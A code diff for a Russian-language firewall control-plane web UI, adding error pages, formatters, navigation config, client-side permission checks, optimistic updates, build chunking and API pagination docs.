useStepItem,
|
||||
Stepper,
|
||||
StepperItem,
|
||||
StepperTrigger,
|
||||
StepperIndicator,
|
||||
StepperSeparator,
|
||||
StepperTitle,
|
||||
StepperDescription,
|
||||
StepperPanel,
|
||||
StepperContent,
|
||||
StepperNav,
|
||||
type StepperProps,
|
||||
type StepperItemProps,
|
||||
type StepperTriggerProps,
|
||||
type StepperContentProps,
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
import { Link } from '@tanstack/react-router'
|
||||
import { CircleAlertIcon, SearchXIcon } from 'lucide-react'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
|
||||
/**
|
||||
* Route-level error/not-found fallbacks (ReUI Frame look, RU copy).
|
||||
* Preview: https://reui.io/preview/base/feature-4 (centered error panel)
|
||||
*/
|
||||
|
||||
/** Error thrown by the root guard while the browser is already navigating to the portal. */
|
||||
const PORTAL_REDIRECT_MESSAGE = 'redirecting to portal'
|
||||
|
||||
export function RouteErrorComponent({
|
||||
error,
|
||||
reset,
|
||||
}: {
|
||||
error: Error
|
||||
reset: () => void
|
||||
}) {
|
||||
if (error.message === PORTAL_REDIRECT_MESSAGE) return null
|
||||
|
||||
return (
|
||||
<div
|
||||
role="alert"
|
||||
className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center"
|
||||
>
|
||||
<CircleAlertIcon className="text-destructive size-10" aria-hidden />
|
||||
<div className="space-y-1">
|
||||
<h1 className="text-lg font-semibold">Что-то пошло не так</h1>
|
||||
<p className="text-muted-foreground max-w-md text-sm">
|
||||
Раздел не загрузился. Проверьте соединение с API и попробуйте снова.
|
||||
</p>
|
||||
{import.meta.env.DEV && error.message ? (
|
||||
<p className="text-muted-foreground/80 font-mono text-xs">
|
||||
{error.message}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button size="sm" onClick={reset}>
|
||||
Повторить
|
||||
</Button>
|
||||
<Button size="sm" variant="outline" render={<Link to="/" />}>
|
||||
На главную
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function RouteNotFoundComponent() {
|
||||
return (
|
||||
<div className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center">
|
||||
<SearchXIcon className="text-muted-foreground size-10" aria-hidden />
|
||||
<div className="space-y-1">
|
||||
<h1 className="text-lg font-semibold">Страница не найдена</h1>
|
||||
<p className="text-muted-foreground max-w-md text-sm">
|
||||
Адрес не существует или был перемещён.
|
||||
</p>
|
||||
</div>
|
||||
<Button size="sm" render={<Link to="/" />}>
|
||||
На главную
|
||||
</Button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,36 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { parseClaims } from './auth'
|
||||
|
||||
function makeToken(payload: object): string {
|
||||
const b64 = (obj: object) =>
|
||||
btoa(JSON.stringify(obj))
|
||||
.replace(/\+/g, '-')
|
||||
.replace(/\//g, '_')
|
||||
.replace(/=+$/, '')
|
||||
return `${b64({ alg: 'none' })}.${b64(payload)}.sig`
|
||||
}
|
||||
|
||||
describe('parseClaims', () => {
|
||||
it('parses a portal JWT payload', () => {
|
||||
const claims = parseClaims(
|
||||
makeToken({
|
||||
sub: 'u1',
|
||||
email: 'a@b.c',
|
||||
name: 'Admin',
|
||||
apps: ['fw'],
|
||||
permissions: ['fw:agents:write'],
|
||||
is_admin: true,
|
||||
exp: 1893456000,
|
||||
}),
|
||||
)
|
||||
expect(claims?.sub).toBe('u1')
|
||||
expect(claims?.apps).toEqual(['fw'])
|
||||
expect(claims?.is_admin).toBe(true)
|
||||
})
|
||||
|
||||
it('returns null for garbage / wrong shapes', () => {
|
||||
expect(parseClaims('not-a-jwt')).toBeNull()
|
||||
expect(parseClaims('a.b')).toBeNull()
|
||||
expect(parseClaims('%%%')).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,74 @@
|
||||
/**
|
||||
* Shared ru-RU formatters — single source for dates/numbers across the app.
|
||||
* All timestamps are ISO strings from the API.
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const numberFmt = new Intl.NumberFormat('ru-RU')
|
||||
|
||||
const shortDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
const dateTimeFmt = new Intl.DateTimeFormat('ru-RU')
|
||||
|
||||
const stampDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
const timeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
/** Compact packet counter: 1,2K / 3,4M */
|
||||
export function formatPackets(n: number | undefined | null): string {
|
||||
if (n === undefined || n === null) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
export function formatNumber(n: number | undefined | null): string {
|
||||
if (n === undefined || n === null) return '—'
|
||||
return numberFmt.format(n)
|
||||
}
|
||||
|
||||
/** dd.MM HH:mm — dense "seen" stamps in grids/cards */
|
||||
export function formatShortDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return shortDateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
/** Full locale date-time for detail panels */
|
||||
export function formatDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return iso
|
||||
return dateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
/** dd.MM.yyyy HH:mm:ss — block-stats "seen" stamps */
|
||||
export function formatStampDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return iso
|
||||
return stampDateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
export function formatTime(d: Date): string {
|
||||
return timeFmt.format(d)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { NAV_ITEMS, NAV_SECTIONS, navLabel, navParentForDetail } from './nav'
|
||||
|
||||
describe('nav config', () => {
|
||||
it('every nav item has label, icon, keywords and a known section', () => {
|
||||
const sectionIds = new Set(NAV_SECTIONS.map((s) => s.id))
|
||||
for (const item of NAV_ITEMS) {
|
||||
expect(item.label.length).toBeGreaterThan(0)
|
||||
expect(item.keywords.length).toBeGreaterThan(0)
|
||||
expect(sectionIds.has(item.section)).toBe(true)
|
||||
}
|
||||
})
|
||||
|
||||
it('navLabel resolves known routes', () => {
|
||||
expect(navLabel('/')).toBe('Панель управления')
|
||||
expect(navLabel('/agents')).toBe('Агенты')
|
||||
expect(navLabel('/nope')).toBeUndefined()
|
||||
})
|
||||
|
||||
it('navParentForDetail maps detail routes to parents', () => {
|
||||
expect(navParentForDetail('/agents/abc')).toBe('/agents')
|
||||
expect(navParentForDetail('/lists/abc')).toBe('/lists')
|
||||
expect(navParentForDetail('/rules/set-1')).toBe('/rules')
|
||||
expect(navParentForDetail('/settings')).toBeUndefined()
|
||||
expect(navParentForDetail('/agents/abc/preview')).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,95 @@
|
||||
import {
|
||||
BarChart3Icon,
|
||||
LayoutDashboardIcon,
|
||||
ListIcon,
|
||||
ServerIcon,
|
||||
SettingsIcon,
|
||||
ShieldIcon,
|
||||
} from 'lucide-react'
|
||||
|
||||
/**
|
||||
* Single source of the app's route structure: sidebar sections, ⌘K search and
|
||||
* header breadcrumbs all render from this config.
|
||||
*/
|
||||
|
||||
export type NavSectionId = 'overview' | 'ops' | 'system'
|
||||
|
||||
export type NavItem = {
|
||||
to: string
|
||||
label: string
|
||||
/** Exact active-state match (root only); prefix match otherwise. */
|
||||
exact?: boolean
|
||||
keywords: string[]
|
||||
icon: typeof ServerIcon
|
||||
section: NavSectionId
|
||||
}
|
||||
|
||||
export const NAV_ITEMS: readonly NavItem[] = [
|
||||
{
|
||||
to: '/',
|
||||
label: 'Панель управления',
|
||||
exact: true,
|
||||
keywords: ['dashboard', 'панель', 'обзор'],
|
||||
icon: LayoutDashboardIcon,
|
||||
section: 'overview',
|
||||
},
|
||||
{
|
||||
to: '/agents',
|
||||
label: 'Агенты',
|
||||
keywords: ['agents', 'агенты', 'nodes'],
|
||||
icon: ServerIcon,
|
||||
section: 'ops',
|
||||
},
|
||||
{
|
||||
to: '/lists',
|
||||
label: 'Списки',
|
||||
keywords: ['lists', 'списки', 'blocklist'],
|
||||
icon: ListIcon,
|
||||
section: 'ops',
|
||||
},
|
||||
{
|
||||
to: '/rules',
|
||||
label: 'Наборы правил',
|
||||
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
|
||||
icon: ShieldIcon,
|
||||
section: 'ops',
|
||||
},
|
||||
{
|
||||
to: '/stats',
|
||||
label: 'Статистика',
|
||||
keywords: ['stats', 'статистика', 'packets'],
|
||||
icon: BarChart3Icon,
|
||||
section: 'ops',
|
||||
},
|
||||
{
|
||||
to: '/settings',
|
||||
label: 'Настройки',
|
||||
keywords: ['settings', 'настройки'],
|
||||
icon: SettingsIcon,
|
||||
section: 'system',
|
||||
},
|
||||
]
|
||||
|
||||
export const NAV_SECTIONS = [
|
||||
{ id: 'overview', label: 'Обзор' },
|
||||
{ id: 'ops', label: 'Операции' },
|
||||
{ id: 'system', label: 'Система' },
|
||||
] as const satisfies readonly { id: NavSectionId; label: string }[]
|
||||
|
||||
export function navItemsForSection(section: NavSectionId): readonly NavItem[] {
|
||||
return NAV_ITEMS.filter((item) => item.section === section)
|
||||
}
|
||||
|
||||
export function navLabel(to: string): string | undefined {
|
||||
return NAV_ITEMS.find((item) => item.to === to)?.label
|
||||
}
|
||||
|
||||
/** Detail routes (…/:id) that nest under a nav route. */
|
||||
const DETAIL_PARENT_RE = /^\/(agents|lists|rules)\/[^/]+$/
|
||||
|
||||
export function navParentForDetail(
|
||||
pathname: string,
|
||||
): string | undefined {
|
||||
const m = pathname.match(DETAIL_PARENT_RE)
|
||||
return m ? `/${m[1]}` : undefined
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
import { hasPermission } from '@evofw/shared'
|
||||
import { getClaims, isAuthEnabled } from './auth'
|
||||
|
||||
/**
|
||||
* Client-side RBAC gating. The backend remains authoritative; this only hides
|
||||
* actions the current portal user cannot perform (fw:<section>:<read|write|admin>).
|
||||
* When auth is disabled (dev) everything is allowed.
|
||||
*/
|
||||
export function can(permission: string): boolean {
|
||||
if (!isAuthEnabled()) return true
|
||||
const claims = getClaims()
|
||||
if (!claims) return false
|
||||
if (claims.is_admin) return true
|
||||
return hasPermission(claims.permissions ?? [], permission)
|
||||
}
|
||||
|
||||
export function useCan() {
|
||||
return can
|
||||
}
|
||||
Whitespace-only changes.
@@ -6,6 +6,10 @@ import {
|
||||
isTokenValid,
|
||||
redirectToPortalLogin,
|
||||
} from '@/lib/auth'
|
||||
import {
|
||||
RouteErrorComponent,
|
||||
RouteNotFoundComponent,
|
||||
} from '@/components/route-error'
|
||||
|
||||
export type RouterContext = {
|
||||
queryClient: QueryClient
|
||||
@@ -22,4 +26,6 @@ export const Route = createRootRouteWithContext<RouterContext>()({
|
||||
}
|
||||
},
|
||||
component: () => <Outlet />,
|
||||
errorComponent: RouteErrorComponent,
|
||||
notFoundComponent: RouteNotFoundComponent,
|
||||
})
|
||||
@@ -47,6 +47,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { QueryState } from '@/components/query-state'
|
||||
import { agentsQueryOptions, settingsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
@@ -97,6 +98,7 @@ function AgentsPage() {
|
||||
const agentsQ = useQuery(agentsQueryOptions())
|
||||
const settingsQ = useQuery(settingsQueryOptions())
|
||||
const { copyToClipboard } = useCopyToClipboard()
|
||||
const canWrite = useCan()('fw:agents:write')
|
||||
const [createOpen, setCreateOpen] = useState(false)
|
||||
const [deleteAgentId, setDeleteAgentId] = useState<string | null>(null)
|
||||
const [filters, setFilters] = useState<Filter[]>([])
|
||||
@@ -125,21 +127,46 @@ function AgentsPage() {
|
||||
[navigate],
|
||||
)
|
||||
|
||||
/** Optimistically patch the agents list; returns a rollback fn. */
|
||||
const patchAgentsCache = useCallback(
|
||||
(patch: (items: Agent[]) => Agent[]) => {
|
||||
const prev = qc.getQueryData<{ items: Agent[] }>(['agents'])
|
||||
if (prev) qc.setQueryData(['agents'], { items: patch(prev.items) })
|
||||
return () => {
|
||||
if (prev) qc.setQueryData(['agents'], prev)
|
||||
}
|
||||
},
|
||||
[qc],
|
||||
)
|
||||
|
||||
const approve = useMutation({
|
||||
mutationFn: (id: string) =>
|
||||
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
|
||||
onMutate: (id) =>
|
||||
patchAgentsCache((items) =>
|
||||
items.map((a) => (a.id === id ? { ...a, status: 'approved' } : a)),
|
||||
),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент одобрен')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _id, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const approveAllPending = useMutation({
|
||||
mutationFn: async (ids: string[]) => {
|
||||
await Promise.all(
|
||||
ids.map((id) =>
|
||||
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
|
||||
mutationFn: (ids: string[]) =>
|
||||
apiFetch('/api/v1/agents/approve-bulk', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: ids }),
|
||||
}),
|
||||
onMutate: (ids) => {
|
||||
const target = new Set(ids)
|
||||
return patchAgentsCache((items) =>
|
||||
items.map((a) =>
|
||||
target.has(a.id) ? { ...a, status: 'approved' } : a,
|
||||
),
|
||||
)
|
||||
},
|
||||
@@ -147,12 +174,16 @@ function AgentsPage() {
|
||||
toast.success('Все pending одобрены')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _ids, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const removeAgent = useMutation({
|
||||
mutationFn: (id: string) =>
|
||||
apiFetch(`/api/v1/agents/${id}`, { method: 'DELETE' }),
|
||||
onMutate: (id) => patchAgentsCache((items) => items.filter((a) => a.id !== id)),
|
||||
onSuccess: (_data, id) => {
|
||||
toast.success('Агент удалён')
|
||||
setDeleteAgentId(null)
|
||||
@@ -162,7 +193,10 @@ function AgentsPage() {
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _id, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const items = agentsQ.data?.items ?? []
|
||||
@@ -386,12 +420,12 @@ function AgentsPage() {
|
||||
</ToggleGroup>
|
||||
)
|
||||
|
||||
const addButton = (
|
||||
const addButton = canWrite ? (
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Добавить агента
|
||||
</Button>
|
||||
)
|
||||
) : null
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
@@ -422,6 +456,7 @@ function AgentsPage() {
|
||||
>
|
||||
Показать
|
||||
</Button>
|
||||
{canWrite ? (
|
||||
<Button
|
||||
size="sm"
|
||||
disabled={
|
||||
@@ -432,6 +467,7 @@ function AgentsPage() {
|
||||
<Check data-icon="inline-start" />
|
||||
Approve all
|
||||
</Button>
|
||||
) : null}
|
||||
</div>
|
||||
</FrameHeader>
|
||||
</Frame>
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { listsQueryOptions, evobgpCommunitiesQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import {
|
||||
Autocomplete,
|
||||
AutocompleteContent,
|
||||
@@ -67,6 +68,7 @@ const CREATE_SOURCE_ITEMS = [
|
||||
function ListsPage() {
|
||||
const navigate = useNavigate()
|
||||
const qc = useQueryClient()
|
||||
const canWrite = useCan()('fw:lists:write')
|
||||
const [createOpen, setCreateOpen] = useState(false)
|
||||
const [name, setName] = useState('')
|
||||
const [source, setSource] = useState<CreateSource>('static')
|
||||
@@ -199,10 +201,12 @@ function ListsPage() {
|
||||
/>
|
||||
Обновить
|
||||
</Button>
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Создать
|
||||
</Button>
|
||||
{canWrite ? (
|
||||
<Button size="sm" onClick={() => setCreateOpen(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Создать
|
||||
</Button>
|
||||
) : null}
|
||||
</>
|
||||
}
|
||||
/>
|
||||
|
||||
@@ -44,7 +44,7 @@ import {
|
||||
import { DataGrid } from '@/components/reui/data-grid/data-grid'
|
||||
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { getCoreRowModel, useReactTable } from '@tanstack/react-table'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import type { Agent, PolicySet } from '@evofw/shared'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import {
|
||||
Frame,
|
||||
@@ -107,33 +107,33 @@ function PolicySetDetailPage() {
|
||||
method: 'PATCH',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
onMutate: (body) => {
|
||||
const key = ['policy-sets', setId] as const
|
||||
const prev = qc.getQueryData<PolicySet & { agent_ids: string[] }>(key)
|
||||
if (prev && body.enabled !== undefined) {
|
||||
qc.setQueryData(key, { ...prev, enabled: body.enabled })
|
||||
}
|
||||
return () => {
|
||||
if (prev) qc.setQueryData(key, prev)
|
||||
}
|
||||
},
|
||||
onSuccess: () => {
|
||||
toast.success('Набор обновлён')
|
||||
void qc.invalidateQueries({ queryKey: ['policy-sets'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _body, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const saveAgents = useMutation({
|
||||
mutationFn: async () => {
|
||||
const allAgents = agentsQ.data?.items ?? []
|
||||
await Promise.all(
|
||||
allAgents.map(async (a) => {
|
||||
const current = await apiFetch<{
|
||||
items: { set_id: string }[]
|
||||
}>(`/api/v1/agents/${a.id}/policy-sets`)
|
||||
const others = current.items
|
||||
.map((i) => i.set_id)
|
||||
.filter((id) => id !== setId)
|
||||
const next = assignedIds.includes(a.id) ? [...others, setId] : others
|
||||
await apiFetch(`/api/v1/agents/${a.id}/policy-sets`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ set_ids: next }),
|
||||
})
|
||||
}),
|
||||
)
|
||||
},
|
||||
mutationFn: () =>
|
||||
apiFetch(`/api/v1/policy-sets/${setId}/agents`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ agent_ids: assignedIds }),
|
||||
}),
|
||||
onSuccess: () => {
|
||||
toast.success('Назначение агентов сохранено')
|
||||
setSelectedAgents(null)
|
||||
|
||||
@@ -13,6 +13,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { PolicySetIcon } from '@/components/rules/policy-set-icon'
|
||||
import { policySetsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
@@ -200,12 +201,13 @@ function PolicySetsPage() {
|
||||
[navigate],
|
||||
)
|
||||
|
||||
const addButton = (
|
||||
const canCreate = useCan()('fw:policies:write')
|
||||
const addButton = canCreate ? (
|
||||
<Button size="sm" onClick={() => setSheetOpen(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Новый набор
|
||||
</Button>
|
||||
)
|
||||
) : null
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { createFileRoute } from '@tanstack/react-router'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import { useEffect, useState } from 'react'
|
||||
import { useEffect, useRef, useState } from 'react'
|
||||
import { PageHeader, PageShell } from '@/components/reui-kit'
|
||||
import {
|
||||
Frame,
|
||||
@@ -14,12 +14,12 @@ import { LoadingButton } from '@/components/loading-button'
|
||||
import { SettingRow } from '@/components/setting-row'
|
||||
import { settingsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
import { Switch } from '@evofw/ui/components/switch'
|
||||
|
||||
/**
|
||||
* Control plane settings — single page: PageShell + Frame + SettingRow.
|
||||
* SettingsShell (reui-kit) — только при 2+ секциях.
|
||||
* Preview: https://reui.io/preview/base/settings-16 · https://reui.io/preview/base/settings-3
|
||||
*/
|
||||
|
||||
@@ -30,10 +30,16 @@ export const Route = createFileRoute('/_auth/settings')({
|
||||
function SettingsPage() {
|
||||
const qc = useQueryClient()
|
||||
const settingsQ = useQuery(settingsQueryOptions())
|
||||
const canSave = useCan()('fw:settings:admin')
|
||||
const [form, setForm] = useState<Record<string, string>>({})
|
||||
|
||||
// Seed the form once — a background refetch must not wipe in-progress edits.
|
||||
const initialized = useRef(false)
|
||||
useEffect(() => {
|
||||
if (settingsQ.data) setForm(settingsQ.data)
|
||||
if (settingsQ.data && !initialized.current) {
|
||||
initialized.current = true
|
||||
setForm(settingsQ.data)
|
||||
}
|
||||
}, [settingsQ.data])
|
||||
|
||||
const save = useMutation({
|
||||
@@ -129,15 +135,18 @@ function SettingsPage() {
|
||||
</div>
|
||||
</FramePanel>
|
||||
</Frame>
|
||||
<div className="flex justify-end">
|
||||
<LoadingButton
|
||||
onClick={() => save.mutate()}
|
||||
isLoading={save.isPending}
|
||||
loadingLabel="Сохранение…"
|
||||
>
|
||||
Сохранить
|
||||
</LoadingButton>
|
||||
</div>
|
||||
{canSave ? (
|
||||
<div className="flex justify-end">
|
||||
<LoadingButton
|
||||
onClick={() => save.mutate()}
|
||||
isLoading={save.isPending}
|
||||
disabled={!initialized.current}
|
||||
loadingLabel="Сохранение…"
|
||||
>
|
||||
Сохранить
|
||||
</LoadingButton>
|
||||
</div>
|
||||
) : null}
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
+35
-1
@@ -6,10 +6,44 @@ import { TanStackRouterVite } from '@tanstack/router-plugin/vite'
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [
|
||||
TanStackRouterVite({ routesDirectory: './src/routes', target: 'react' }),
|
||||
TanStackRouterVite({
|
||||
routesDirectory: './src/routes',
|
||||
target: 'react',
|
||||
autoCodeSplitting: true,
|
||||
}),
|
||||
react(),
|
||||
tailwindcss(),
|
||||
],
|
||||
build: {
|
||||
rollupOptions: {
|
||||
output: {
|
||||
manualChunks(id) {
|
||||
if (
|
||||
/node_modules[\\/](recharts|victory-vendor|d3-[a-z-]+|react-smooth|recharts-scale)[\\/]/.test(
|
||||
id,
|
||||
)
|
||||
) {
|
||||
return 'charts'
|
||||
}
|
||||
if (/node_modules[\\/]@dnd-kit[\\/]/.test(id)) return 'dnd'
|
||||
if (
|
||||
/node_modules[\\/](react|react-dom|scheduler|clsx|tailwind-merge)[\\/]/.test(
|
||||
id,
|
||||
)
|
||||
) {
|
||||
return 'react'
|
||||
}
|
||||
if (/node_modules[\\/]@tanstack[\\/]react-router[\\/]/.test(id)) {
|
||||
return 'router'
|
||||
}
|
||||
if (/node_modules[\\/]@tanstack[\\/]react-query[\\/]/.test(id)) {
|
||||
return 'query'
|
||||
}
|
||||
return undefined
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': path.resolve(__dirname, './src'),
|
||||
|
||||
Whitespace-only changes.
+63
-4
@@ -43,9 +43,12 @@ paths:
|
||||
summary: List install links
|
||||
tags: [agents]
|
||||
security: [{ bearerAuth: [] }]
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/Limit'
|
||||
- $ref: '#/components/parameters/Offset'
|
||||
responses:
|
||||
'200':
|
||||
description: Links
|
||||
description: Links (items + total)
|
||||
post:
|
||||
summary: Create install link + invited agent
|
||||
tags: [agents]
|
||||
@@ -70,9 +73,33 @@ paths:
|
||||
summary: List agents
|
||||
tags: [agents]
|
||||
security: [{ bearerAuth: [] }]
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/Limit'
|
||||
- $ref: '#/components/parameters/Offset'
|
||||
responses:
|
||||
'200':
|
||||
description: Agents
|
||||
description: Agents (items + total)
|
||||
|
||||
/api/v1/agents/approve-bulk:
|
||||
post:
|
||||
summary: Approve many pending/invited agents in one request
|
||||
tags: [agents]
|
||||
security: [{ bearerAuth: [] }]
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [agent_ids]
|
||||
properties:
|
||||
agent_ids:
|
||||
type: array
|
||||
maxItems: 1000
|
||||
items: { type: string }
|
||||
responses:
|
||||
'200':
|
||||
description: Approved agents (skips non-pending/invited)
|
||||
|
||||
/api/v1/agents/{id}:
|
||||
get:
|
||||
@@ -199,9 +226,12 @@ paths:
|
||||
summary: List IP lists
|
||||
tags: [lists]
|
||||
security: [{ bearerAuth: [] }]
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/Limit'
|
||||
- $ref: '#/components/parameters/Offset'
|
||||
responses:
|
||||
'200':
|
||||
description: Lists
|
||||
description: Lists (items + total)
|
||||
post:
|
||||
summary: Create IP list
|
||||
tags: [lists]
|
||||
@@ -328,14 +358,33 @@ paths:
|
||||
'200':
|
||||
description: Reordered
|
||||
|
||||
/api/v1/policy-sets/{id}/agents:
|
||||
put:
|
||||
summary: Replace which agents have this set assigned
|
||||
description: >-
|
||||
Listed agents gain the set (other assignments preserved), unlisted
|
||||
agents lose it. Body — { agent_ids: string[] } (empty array clears).
|
||||
tags: [policies]
|
||||
security: [{ bearerAuth: [] }]
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/Id'
|
||||
responses:
|
||||
'200':
|
||||
description: '{ agent_ids, added, removed }'
|
||||
'404':
|
||||
description: Set or agent not found
|
||||
|
||||
/api/v1/rules:
|
||||
get:
|
||||
summary: List policy rules (optional set filter)
|
||||
tags: [policies]
|
||||
security: [{ bearerAuth: [] }]
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/Limit'
|
||||
- $ref: '#/components/parameters/Offset'
|
||||
responses:
|
||||
'200':
|
||||
description: Rules
|
||||
description: Rules (items + total)
|
||||
post:
|
||||
summary: Create policy rule
|
||||
tags: [policies]
|
||||
@@ -787,6 +836,16 @@ components:
|
||||
in: path
|
||||
required: true
|
||||
schema: { type: string }
|
||||
Limit:
|
||||
name: limit
|
||||
in: query
|
||||
schema: { type: integer, minimum: 1, maximum: 1000 }
|
||||
description: Page size (without limit/offset the full list is returned)
|
||||
Offset:
|
||||
name: offset
|
||||
in: query
|
||||
schema: { type: integer, minimum: 0 }
|
||||
description: Page offset (response includes total)
|
||||
schemas:
|
||||
AgentPortRule:
|
||||
type: object
|
||||
|
||||
@@ -2,7 +2,9 @@ import { defineConfig } from 'drizzle-kit'
|
||||
|
||||
export default defineConfig({
|
||||
schema: './src/schema.ts',
|
||||
out: './drizzle',
|
||||
// Migration SQL files live here and are applied by the custom runner in
|
||||
// src/client.ts (runMigrations); drizzle-kit generate adds new files to it.
|
||||
out: './migrations',
|
||||
dialect: 'sqlite',
|
||||
dbCredentials: { url: 'data/app.db' },
|
||||
})
|
||||
@@ -12,6 +12,7 @@
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "tsup src/index.ts --format esm --dts",
|
||||
"dev": "tsup src/index.ts --format esm --dts --watch",
|
||||
"db:generate": "drizzle-kit generate",
|
||||
|
||||
@@ -14,6 +14,8 @@ export {
|
||||
updateIpList,
|
||||
deleteIpList,
|
||||
listIpListEntries,
|
||||
mapIpListEntriesByListIds,
|
||||
mapIpListNames,
|
||||
countEntriesByListIds,
|
||||
replaceIpListEntries,
|
||||
} from './lists.js'
|
||||
@@ -45,6 +47,7 @@ export {
|
||||
deletePolicyRule,
|
||||
listHostnameRules,
|
||||
listResolvedForRule,
|
||||
